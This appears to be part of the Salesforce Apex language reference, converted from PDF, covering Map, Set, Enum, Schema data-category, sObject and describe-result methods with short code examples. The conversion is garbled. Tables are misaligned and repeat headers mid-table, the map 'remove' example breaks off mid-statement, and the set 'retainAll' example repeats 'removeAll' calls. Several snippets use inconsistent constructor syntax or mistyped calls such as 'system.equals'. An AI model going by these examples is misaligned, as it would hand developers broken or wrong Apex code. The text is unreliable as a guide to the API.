</thead>
<tbody>
<tr>
<td>deepClone</td>
<td>Map (of the same  type)</td>
<td></td>
<td>Makes a duplicate copy of a map, including sObject records if this is a map with sObject record values. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Account a = new Account(name='Acme', billingcity='New York');</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Map&lt;Integer, Account&gt; map1 = new Map&lt;Integer, Account&gt; {}; map1.put(1, a);</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Map&lt;Integer, Account&gt; map2 = map1.deepClone();</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>map1.get(1).billingcity = 'San Francisco'; System.assertEquals(map1.get(1).billingcity, 'San Francisco'); System.assertEquals(map2.get(1).billingcity, 'New York');</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>To make a shallow copy of a map without duplicating the sObject records it contains, use the clone() method.</td>
</tr>
<tr>
<td>get</td>
<td>Key type key</td>
<td>Value_type</td>
<td>Returns the value to which the specified key is mapped, or null if the map contains no value for this key. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Map&lt;String, String&gt; colorCodes = new Map&lt;String, String&gt;(); colorCodes.put('Red', 'FF0000'); colorCodes.put('Blue', '0000A0'); String code = colorCodes.get('Blue'); System.assertEquals(code, '0000A0');</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>// The following is not a color // in the map String code2 = colorCodes.get('Magenta'); System.assertEquals(code2, null);</td>
</tr>
<tr>
<td>getSObjectType</td>
<td>Schema.SObjectType</td>
<td></td>
<td>Returns the token of the sObject type that makes up the map values. Use this with describe information, to determine if a map contains sObjects of a particular type. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>public class mapTest {</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>// Create a generic sObject variable s SObject s = Database.query ('SELECT Id FROM Account LIMIT 1');</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>// Verify if that sObject variable // is an Account token System.assertEquals(s.getSObjectType(), Account.sObjectType);</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>// Create a map of generic sObjects Map&lt;Integer, Account&gt; M = new Map&lt;Integer, Account&gt;();</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>// Verify if the list of sObjects // contains Account tokens</td>
</tr>
</tbody>
</table>
### isEmpty

**Arguments:**

- `Map<String, String>`

**Return Type:**

- `Boolean`

**Description:**

Returns true if the map has zero key-value pairs. For example:

```java
Map<String, String> colorCodes = new Map<String, String>();
Boolean empty = colorCodes.isEmpty();
System.assertEquals(empty, true);
```

### keySet

**Arguments:**

- `Map<String, String>`

**Return Type:**

- `Set<String>`

**Description:**

Returns a set that contains all of the keys in the map. For example:

```java
Map<String, String> colorCodes = new Map<String, String>();
colorCodes.put('Red', 'FF0000');
colorCodes.put('Blue', '0000A0');
Set<String> colorSet = new Set<String>();
colorSet = colorCodes.keySet();
```

### put

**Arguments:**

- `String key`
- `String value`

**Return Type:**

- `String` (old value)

**Description:**

Associates the specified value with the specified key in the map. If the map previously contained a mapping for this key, the old value is returned by the method and then replaced. For example:

```java
Map<String, String> colorCodes = new Map<String, String>();
colorCodes.put('Red', 'FF0000');
colorCodes.put('Red', '#FF0000');
// Red is now #FF0000
```

### putAll

**Arguments:**

- `Map m`

**Return Type:**

- `Void`

**Description:**

Copies all of the mappings from the specified map to the original map. The new mappings from replace any mappings that the original map had.

### remove

**Arguments:**

- `String key`

**Return Type:**

- `String` (old value)

**Description:**

Removes the mapping for this key from the map if it is present. The value is returned by the method and then removed. For example:

```java
Map<String, String> colorCodes = new Map<String, String>();
colorCodes.put('Red', 'FF0000');
colorCodes.put('Blue', '0000A0');
String myColor = colorCodes.remove('Blue');
String code2 =
```
For more information on maps, see Maps on page 37.

### Set Methods

The set methods work on a set, that is, an unordered collection of primitives or sObjects that was initialized using the `set` keyword. The set methods are all instance methods, that is, they all operate on a particular instance of a set. The following are the instance methods for sets.

*Note:* In the table below, `Set_elem` represents a single element in the set.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
</table>
| add    | `Set_element e`      | Boolean     | Adds an element to the set if it is not already present. This method returns true if the original set changed as a result of the call. For example:

```java
Set<String> myString = new Set<String>("a", "b", "c");
Boolean result;
result = myString.add("d");
System.assertEquals(result, true);
```

| addAll  | `List l`            | Boolean     | Adds all of the elements in the specified list to the set if they are not already present. This method results in the union of the list and the set. The list must be of the same type as the set that calls the method. This method returns true if the original set changed as a result of the call. For example:

```java
List<String> myList = new List<String>("a", "b", "c");
Boolean result;
result = myString.addAll(myList);
System.assertEquals(result, true);
```
<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>addAll</td>
<td>Set $s$</td>
<td>Boolean</td>
<td>Adds all of the elements in the specified set to the set that calls the method if they are not already present. This method results in the union of the two sets. The specified set must be of the same type as the original set that calls the method. This method returns true if the original set changed as a result of the call. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>set&lt;string&gt; myString = new Set&lt;String&gt;{'a', 'b'}; set&lt;string&gt; sString = new Set&lt;String&gt;{'c'}; Boolean result1; result1 = myString.addAll(sString); system.equals(result1, true);</td>
</tr>
<tr>
<td>clear</td>
<td></td>
<td>Void</td>
<td>Removes all of the elements from the set</td>
</tr>
<tr>
<td>clone</td>
<td></td>
<td>Set (of same type)</td>
<td>Makes a duplicate copy of the set</td>
</tr>
<tr>
<td>contains</td>
<td>Set element $e$</td>
<td>Boolean</td>
<td>Returns true if the set contains the specified element. For example: set&lt;string&gt; myString = new Set&lt;String&gt;{'a', 'b'}; Boolean result; result = myString.contains('z'); system.assertEquals(result, false);</td>
</tr>
<tr>
<td>containsAll</td>
<td>List $l$</td>
<td>Boolean</td>
<td>Returns true if the set contains all of the elements in the specified list. The list must be of the same type as the set that calls the method.</td>
</tr>
<tr>
<td>containsAll</td>
<td>Set $s$</td>
<td>Boolean</td>
<td>Returns true if the set contains all of the elements in the specified set. The specified set must be of the same type as the original set that calls the method. For example: set&lt;string&gt; myString = new Set&lt;String&gt;{'a', 'b'}; set&lt;string&gt; sString = new Set&lt;String&gt;{'c'}; set&lt;string&gt; rString = new Set&lt;String&gt;{'a', 'b', 'c'}; Boolean result1, result2; result1 = myString.addAll(sString); system.assertEquals(result1, true); result2 = myString.containsAll(rString); system.assertEquals(result2, true);</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>--------------</td>
<td>----------------</td>
<td>-------------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>isEmpty</td>
<td></td>
<td>Boolean</td>
<td>Returns true if the set has zero elements. For example:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>```</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Set&lt;integer&gt; mySet =</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>new Set&lt;integer&gt;();</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Boolean result;</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>result = mySet.isEmpty();</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>system.assertEquals(result, true);</td>
</tr>
<tr>
<td>remove</td>
<td>Set Element&lt;e&gt;</td>
<td>Boolean</td>
<td>Removes the specified element from the set if it is present.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>This method returns true if the original set changed as a result of the call.</td>
</tr>
<tr>
<td>removeAll</td>
<td>List{l}</td>
<td>Boolean</td>
<td>Removes the elements in the specified list from the set if they are present.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>This method results in the relative complement of the two sets. The list must</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>be of the same type as the set that calls the method.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>This method returns true if the original set changed as a result of the call.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>```</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Set&lt;integer&gt; mySet =</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>new Set&lt;integer&gt;(1, 2, 3);</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>List&lt;integer&gt; myList =</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>new List&lt;integer&gt;(1, 3);</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Boolean result =</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>mySet.removeAll(myList);</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>System.assertEquals(result, true);</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Integer result2 =</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>mySet.size();</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>System.assertEquals(result2, 1);</td>
</tr>
<tr>
<td>removeAll</td>
<td>Set{s}</td>
<td>Boolean</td>
<td>Removes the elements in the specified set from the original set if they are</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>present. This method results in the relative complement of the two sets. The</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>specified set must be of the same type as the original set that calls the</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>method.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>This method returns true if the original set changed as a result of the call.</td>
</tr>
<tr>
<td>retainAll</td>
<td>List{l}</td>
<td>Boolean</td>
<td>Retains only the elements in this set that are contained in the specified</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>list. This method results in the intersection of the list and the set. The</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>list must be of the same type as the set that calls the method.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>This method returns true if the original set changed as a result of the call.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>```</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Set&lt;integer&gt; mySet =</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>new Set&lt;integer&gt;(1, 2, 3);</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>List&lt;integer&gt; myList =</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>new List&lt;integer&gt;(1, 3);</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Boolean result =</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>mySet.removeAll(myList);</td>
</tr>
</tbody>
</table>
For more information on sets, see Sets on page 36.

### Enum Methods

Although Enum values cannot have user-defined methods added to them, all Enum values, including system Enum values, have the following methods defined in Apex:

<table>
<thead>
<tr>
<th>Name</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>String</td>
<td>Returns the name of the Enum item as a String.</td>
</tr>
<tr>
<td>ordinal</td>
<td>Integer</td>
<td>Returns the position of the item in the list of Enum values, starting with zero.</td>
</tr>
</tbody>
</table>

In addition, Enum has the following method.

<table>
<thead>
<tr>
<th>Name</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>values</td>
<td>List&lt;Enum type&gt;</td>
<td>Returns the values of the Enum as a list of the same Enum type.</td>
</tr>
</tbody>
</table>

For example:

```java
Integer i = StatusCode.DELETE_FAILED.ordinal();
String s = StatusCode.DELETE_FAILED.name();
```
For more information about Enum, see Enums on page 39.

### sObject Methods

**Apex sObject Methods**

The term *sObject* refers to any object that can be stored in the Salesforce platform database. The following Apex sObject methods include methods that can be used with every sObject, as well as more general classes used to describe sObject structures:

- Schema
- sObject
- sObject Describe Results
- Field Describe Results
- Custom Settings

**Schema Methods**

The following table lists the system methods for Schema.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>ReturnType</th>
<th>Description</th>
</tr>
</thead>
</table>
| `getGlobalDescribe`         | `Map<String, Schema.SObjectType>`      |                                                 | Returns a map of all sObject names (keys) to sObject tokens (values) for the standard and custom objects defined in your organization. For example:  
Map<String,  
Schema.SObjectType> `gd` =  
Schema.getGlobalDescribe();  
For more information, see Accessing All sObjects on page 146. |
| `describeDataCategoryGroups` | `List<sObjectName>`                   | `List<Schema.DescribeDataCategoryGroupResult>` | Returns a list of the category groups associated with the specified objects. You can specify one of the following sObjectNames:  
• KnowledgeArticleVersion—to retrieve category groups associated with article types.  
• Question—to retrieve category groups associated with questions. |
### Describe Data Category Group Structure Arguments

The describeDataCategoryGroupStructures method returns the available category groups along with their data category structure. The following are the arguments for this method.

<table>
<thead>
<tr>
<th>Name</th>
<th>Argument Type</th>
<th>Description</th>
</tr>
</thead>
</table>
| pairs                       | List<Schema.DataCategoryGroupSobjectTypePair>                               | Specify one or more category groups and objects to query. Visible data categories are retrieved for the specified object.  
For more information on category group visibility, see “About Category Group Visibility” in the Salesforce online help. |
| topCategoriesOnly           | Boolean                                                                       | Specify true to return only the top visible category which classify the object. Specify false to return all the visible parent and child categories. Both values depend on the user's role category group visibility settings. For more information on category group visibility, see “About Category Group Visibility” in the Salesforce online help. |
**Schema.DataCategoryGroupSobjectTypePair Object**

Schema.DataCategoryGroupSobjectTypePair specifies a category group and an associated object. It is used by the describeDataCategoryGroupStructures method to return the categories available to this object. The following table lists all the methods for Schema.DataCategoryGroupSobjectTypePair.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getDataCategoryGroupName</td>
<td></td>
<td>String</td>
<td>Returns the unique name used by the API to access the data category group</td>
</tr>
<tr>
<td>getSobject</td>
<td></td>
<td>String</td>
<td>Returns the object name associated with the data category group</td>
</tr>
<tr>
<td>setDataCategoryGroupName</td>
<td></td>
<td>String</td>
<td>Specifies the unique name used by the API to access the data category group</td>
</tr>
</tbody>
</table>
| setObject                   | String sObjectName   | Void        | The sObjectName is the object name associated with the data category group. Valid values are:  
  - KnowledgeArticleVersion—for article types.  
  - Question—for questions from Answers. |

**Schema.DescribeDataCategoryGroupResult Object**

The describeDataCategoryGroups method returns a Schema.DescribeDataCategoryGroupResult object containing the list of the category groups associated with the specified object.

The following is an example of how to instantiate a data category group describe result object:

```java
List<String> objType = new List<String>();
objType.add('KnowledgeArticleVersion');
objType.add('Question');

List<Schema.DescribeDataCategoryGroupResult> describeCategoryResult =
  Schema.describeDataCategoryGroups(objType);
```

For additional information and code examples using describeDataCategoryGroups, see [Accessing All Data Categories Associated with an sObject](#).

The following table lists all the methods available as part of the data category group describe result. None of the methods take an argument.

<table>
<thead>
<tr>
<th>Name</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getCategoryCount</td>
<td>Integer</td>
<td>Returns the number of visible data categories in the data category group</td>
</tr>
<tr>
<td>getDescription</td>
<td>String</td>
<td>Returns the description of the data category group</td>
</tr>
<tr>
<td>getLabel</td>
<td>String</td>
<td>Returns the label for the data category group used in the Salesforce user interface</td>
</tr>
<tr>
<td>getName</td>
<td>String</td>
<td>Returns the unique name used by the API to access to the data category group</td>
</tr>
</tbody>
</table>

271
**Schema.DescribeDataCategoryGroupStructureResult object**

The `describeDataCategoryGroupStructures` method returns a list of `Schema.DescribeDataCategoryGroupStructureResult` objects containing the category groups and categories associated with the specified object.

The following is an example of how to instantiate a data category group structure describe result object:

```java
List<DataCategoryGroupSobjectTypePair> pairs = new List<DataCategoryGroupSobjectTypePair>();

DataCategoryGroupSobjectTypePair pair1 = new DataCategoryGroupSobjectTypePair();
pair1.setSobject('KnowledgeArticleVersion');
pair1.setDataCategoryGroupName('Regions');

DataCategoryGroupSobjectTypePair pair2 = new DataCategoryGroupSobjectTypePair();
pair2.setSobject('Questions');
pair2.setDataCategoryGroupName('Regions');

pairs.add(pair1);
pairs.add(pair2);

List<Schema.DescribeDataCategoryGroupStructureResult> results = Schema.describeDataCategoryGroupStructures(pairs, true);
```

For additional information and code examples using `describeDataCategoryGroupStructures`, see [Accessing All Data Categories Associated with an sObject](#).

The following table lists all the methods available as part of the data category group structure describe result. None of the methods take an argument.

<table>
<thead>
<tr>
<th>Name</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getDescription</td>
<td>String</td>
<td>Returns the description of the data category group</td>
</tr>
<tr>
<td>getLabel</td>
<td>String</td>
<td>Returns the label for the data category group used in the Salesforce user interface</td>
</tr>
<tr>
<td>getName</td>
<td>String</td>
<td>Returns the unique name used by the API to access to the data category group</td>
</tr>
<tr>
<td>getSobject</td>
<td>String</td>
<td>Returns the name of object associated with the data category group</td>
</tr>
<tr>
<td>getTopCategories</td>
<td>List&lt;Schema.DataCategory&gt;</td>
<td>Returns a <code>Schema.DataCategory</code> object, that contains the top categories visible depending on the user’s role category group visibility settings. For more information on category group visibility, see “About Category Group Visibility” in the Salesforce online help.</td>
</tr>
</tbody>
</table>
**Schema.DataCategory Object**

A Schema.DataCategory object represents the categories within a category group. The Schema.DataCategory object is returned by the `getTopCategories` method. The following table lists all the methods for the Schema.DataCategory object. None of these methods take an argument.

<table>
<thead>
<tr>
<th>Name</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getChildCategories</td>
<td>List&lt;Schema.DataCategory&gt;</td>
<td>Returns a recursive object that contains the visible sub categories in the data category</td>
</tr>
<tr>
<td>getLabel</td>
<td>String</td>
<td>Returns the label for the data category used in the Salesforce user interface</td>
</tr>
<tr>
<td>getName</td>
<td>String</td>
<td>Returns the unique name used by the API to access to the data category</td>
</tr>
</tbody>
</table>

**sObject Methods**

sObject methods are all instance methods, that is, they are called by and operate on a particular instance of an sObject, such as an account or contact. The following are the instance methods for sObjects.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>addError</td>
<td>String errorMsg</td>
<td>Void</td>
<td>Marks a record with a custom error message and prevents any DML operation from occurring.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>When used on <code>Trigger.new</code> in <code>before insert</code> and <code>before update</code> triggers, and on <code>Trigger.old</code> in <code>before delete</code> triggers, the error message is displayed in the application interface.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>See Triggers on page 68 and Trigger Exceptions on page 79.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>When used in Visualforce controllers, the generated message is added to the collection of errors for the page.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>For more information, see Validation Rules and Standard Controllers in the Visualforce Developer’s Guide.</td>
</tr>
<tr>
<td>field.addError</td>
<td>String errorMsg</td>
<td>Void</td>
<td>Places the specified error message on the field that calls this method in the application interface and prevents any DML operation from occurring. For example: Trigger.new.myField__C.addError('bad');</td>
<td>Note:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>- When used on <code>Trigger.new</code> in <code>before insert</code> and <code>before update</code> triggers, and on <code>Trigger.old</code> in <code>before delete</code> triggers, the error appears in the application interface.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>- When used in Visualforce controllers, if there is an inputField component bound to field, the message is attached to the component. For more information, see Validation Rules and Standard Controllers in the Visualforce Developer’s Guide.</td>
</tr>
</tbody>
</table>
The method is highly specialized because the field identifier is not actually the invoking object—the sObject record is the invoker. The field is simply used to identify the field that should be used to display the error.

- This method will likely change in future versions of Apex.

See Triggers on page 68 and Trigger Exceptions on page 79.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>clear</td>
<td>Void</td>
<td></td>
<td>Clears all field values</td>
</tr>
<tr>
<td>clone</td>
<td>Boolean opt_preserve_id, sObject (of same type) Boolean opt_IsDeepClone</td>
<td>Creates a copy of the sObject record.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>The optional opt_preserve_id argument determines whether the ID of the original object is preserved or cleared in the duplicate.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>The optional opt_IsDeepClone argument determines whether the method creates a full copy of the sObject, or just a reference:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• If set to true, the method creates a full copy of the sObject. All fields on the sObject are duplicated in memory, including relationship fields. Consequently, if you make changes to a field on the cloned sObject, the original sObject is not affected.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>• If set to false, the method creates a reference to the original sObject. Consequently, if you make changes to a field on the cloned sObject, the original sObject is also affected.</td>
</tr>
<tr>
<td>get</td>
<td>String fieldName</td>
<td>Object</td>
<td>Returns the value for the field specified by fieldName, such as AccountNumber.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>For more information, see Dynamic SOQL on page 151.</td>
</tr>
<tr>
<td>get</td>
<td>Schema.sObjectField Field</td>
<td>Object</td>
<td>Returns the value for the field specified by the field token Schema.sObjectField (for example, Schema.Account.AccountNumber).</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>For more information, see Dynamic SOQL on page 151.</td>
</tr>
<tr>
<td>getOptions</td>
<td>Database.DMLOptions</td>
<td></td>
<td>Returns the database.DMLOptions object for the sObject.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>For more information, see Database DMLOptions Methods on page 301.</td>
</tr>
<tr>
<td>getSOBJECT</td>
<td>String fieldName sObject</td>
<td></td>
<td>Returns the value for the field specified by fieldName. This method is primarily used with dynamic DML to access values for external IDs.</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>For more information, see Dynamic DML on page 152.</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>-------------</td>
<td>------------------------------------</td>
<td>---------------------------</td>
<td>----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>getSObject</td>
<td>Schema.sObjectField fieldName</td>
<td>sObject</td>
<td>Returns the value for the field specified by the field token Schema. <em>fieldName</em> (for example, Schema.Account.MyExternalId). This method is primarily used with dynamic DML to access values for external IDs. For more information, see Dynamic DML on page 152.</td>
</tr>
<tr>
<td>getSObject</td>
<td>String fieldName</td>
<td>sObject[]</td>
<td>Returns the values for the field specified by <em>fieldName</em>. This method is primarily used with dynamic DML to access values for associated objects, such as child relationships. For more information, see Dynamic DML on page 152.</td>
</tr>
<tr>
<td>getSObject</td>
<td>Schema.sObjectType fieldName</td>
<td>sObject[]</td>
<td>Returns the value for the field specified by the field token Schema. <em>fieldName</em> (for example, Schema.Account.Contact). This method is primarily used with dynamic DML to access values for associated objects, such as child relationships. For more information, see Dynamic DML on page 152.</td>
</tr>
<tr>
<td>getSObjectType</td>
<td></td>
<td>Schema.sObjectType</td>
<td>Returns the token for this sObject. This method is primarily used with describe information. For more information, see Understanding Apex Describe Information on page 143.</td>
</tr>
<tr>
<td>put</td>
<td>String fieldName, Object value</td>
<td></td>
<td>Sets the value for the field specified by <em>fieldName</em> and returns the previous value for the field. For more information, see Dynamic SOQL on page 151.</td>
</tr>
<tr>
<td>put</td>
<td>Schema.sObjectField fieldName, Object value</td>
<td></td>
<td>Sets the value for the field specified by the field token Schema. <em>sObjectField</em> (for example, Schema.Account.AccountNumber) and returns the previous value for the field. For more information, see Dynamic SOQL on page 151.</td>
</tr>
<tr>
<td>putSObject</td>
<td>String fieldName, sObject value</td>
<td></td>
<td>Sets the value for the field specified by <em>fieldName</em>. This method is primarily used with dynamic DML for setting external IDs. The method returns the previous value of the field. For more information, see Dynamic SOQL on page 151.</td>
</tr>
<tr>
<td>putSObject</td>
<td>Schema.sObjectType fieldName, sObject value</td>
<td></td>
<td>Sets the value for the field specified by the token Schema.sObjectType. This method is primarily used with dynamic DML for setting external IDs. The method returns the previous value of the field. For more information, see Dynamic SOQL on page 151.</td>
</tr>
</tbody>
</table>
For more information on sObjects, see sObject Types on page 31.

**sObject Describe Result Methods**

The following table describes the methods available for the sObject describe result, the DescribeSObjectResult object. None of the methods take an argument.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>fields</td>
<td>fields</td>
<td>Special</td>
<td>Returns a special data type that should not be used by itself. Instead, fields should always be followed by either a field member variable name or the getMap method. For example,</td>
</tr>
<tr>
<td>getKeyPrefix</td>
<td></td>
<td>String</td>
<td>Returns the three-character prefix code for the object. Record IDs are prefixed with three-character codes that specify the type of the object (for example, accounts have a prefix of 001 and opportunities have a prefix of 006). The DescribeSobjectResult object returns a value for objects that have a stable prefix. For object types that do not have a stable or predictable prefix, this field is blank. Client applications that rely on these codes can use this way of determining object type to ensure forward compatibility.</td>
</tr>
<tr>
<td>getLabel</td>
<td></td>
<td>String</td>
<td>Returns the object’s label, which may or may not match the object name. For example, an organization in the medical industry might change the label for Account to Patient. This label is then used in the Salesforce user interface. See the Salesforce online help for more information.</td>
</tr>
<tr>
<td>getLabelPlural</td>
<td></td>
<td>String</td>
<td>Returns the object’s plural label, which may or may not match the object name. For example, an</td>
</tr>
<tr>
<td>Name</td>
<td>Data Type</td>
<td>Description</td>
<td></td>
</tr>
<tr>
<td>------------------------------</td>
<td>------------------------------------------------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------------</td>
<td></td>
</tr>
<tr>
<td>getLocalName</td>
<td>String</td>
<td>Returns the name of the object, similar to the getName method. However, if the object is part of the current namespace, the namespace portion of the name is omitted.</td>
<td></td>
</tr>
<tr>
<td>getName</td>
<td>String</td>
<td>Returns the name of the object.</td>
<td></td>
</tr>
<tr>
<td>getRecordTypeInfos</td>
<td>List&lt;Schema.RecordTypeInfo&gt;</td>
<td>Returns a list of the record types supported by this object. The current user is not required to have access to a record type to see it in this list.</td>
<td></td>
</tr>
<tr>
<td>getRecordTypeInfosByID</td>
<td>Map&lt;ID, Schema.RecordTypeInfo&gt;</td>
<td>Returns a map that matches record IDs to their associated record types. The current user is not required to have access to a record type to see it in this map.</td>
<td></td>
</tr>
<tr>
<td>getRecordTypeInfosByName</td>
<td>Map&lt;String, Schema.RecordTypeInfo&gt;</td>
<td>Returns a map that matches record names to their associated record type. The current user is not required to have access to a record type to see it in this map.</td>
<td></td>
</tr>
<tr>
<td>getSObjectType</td>
<td>Schema.SObjectType</td>
<td>Returns the Schema.SObjectType object for the sObject. You can use this to create a similar sObject. For more information, see Schema.SObjectType on page 284.</td>
<td></td>
</tr>
<tr>
<td>isAccessible</td>
<td>Boolean</td>
<td>Returns true if the current user can see this field, false otherwise.</td>
<td></td>
</tr>
<tr>
<td>isCreateable</td>
<td>Boolean</td>
<td>Returns true if the object can be created by the current user, false otherwise.</td>
<td></td>
</tr>
<tr>
<td>isCustom</td>
<td>Boolean</td>
<td>Returns true if the object is a custom object, false if it is a standard object.</td>
<td></td>
</tr>
<tr>
<td>isCustomSetting</td>
<td>Boolean</td>
<td>Returns true if the object is a custom setting, false otherwise.</td>
<td></td>
</tr>
<tr>
<td>isDeleteable</td>
<td>Boolean</td>
<td>Returns true if the object can be deleted by the current user, false otherwise.</td>
<td></td>
</tr>
<tr>
<td>is DeprecatedAndHidden</td>
<td>Boolean</td>
<td>Reserved for future use.</td>
<td></td>
</tr>
<tr>
<td>isFeedEnabled</td>
<td>Boolean</td>
<td>Returns true if Chatter feeds are enabled for the object, false otherwise. This method is only available for Apex classes and triggers saved using Salesforce API version 19.0 and later.</td>
<td></td>
</tr>
<tr>
<td>isMergeable</td>
<td>Boolean</td>
<td>Returns true if the object can be merged with other objects of its type by the current user, false otherwise. true is returned for leads, contacts, and accounts.</td>
<td></td>
</tr>
</tbody>
</table>
### ChildRelationship Methods

If an sObject is a parent object, you can access the child relationship as well as the child sObject using the ChildRelationship object methods.

A ChildRelationship object is returned from the sObject describe result using the `getChildRelationship` method. For example:

```java
Schema.DescribeSObjectResult R = Account.SObjectType.getDescribe();
```

You can only use 100 `getChildRelationships` method calls per Apex request. For more information about governor limits, see Understanding Execution Governors and Limits on page 188.

The following table describes the methods available as part of the ChildRelationship object. None of the methods take an argument.

<table>
<thead>
<tr>
<th>Name</th>
<th>Data Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getChildSObject</td>
<td>Schema.SObjectType</td>
<td>Returns the token of the child sObject on which there is a foreign key back to the parent sObject.</td>
</tr>
<tr>
<td>getField</td>
<td>Schema.SObjectField</td>
<td>Returns the token of the field that has a foreign key back to the parent sObject.</td>
</tr>
<tr>
<td>getRelationshipName</td>
<td>String</td>
<td>Returns the name of the relationship.</td>
</tr>
<tr>
<td>isCascadeDelete</td>
<td>Boolean</td>
<td>Returns true if the child object is deleted when the parent object is deleted, false otherwise.</td>
</tr>
<tr>
<td>isDeprecatedAndHidden</td>
<td>Boolean</td>
<td>Reserved for future use.</td>
</tr>
</tbody>
</table>

### RecordTypeInfo Methods

If an sObject has a record type associated with it, you can access information about the record type using the RecordTypeInfo object methods.

A RecordTypeInfo object is returned from the sObject describe result using the `getRecordTypeInfos` method. For example:

```java
Schema.DescribeSObjectResult R = Account.SObjectType.getDescribe();
List<Schema.RecordTypeInfo> RT = R.getRecordTypeInfos();
```
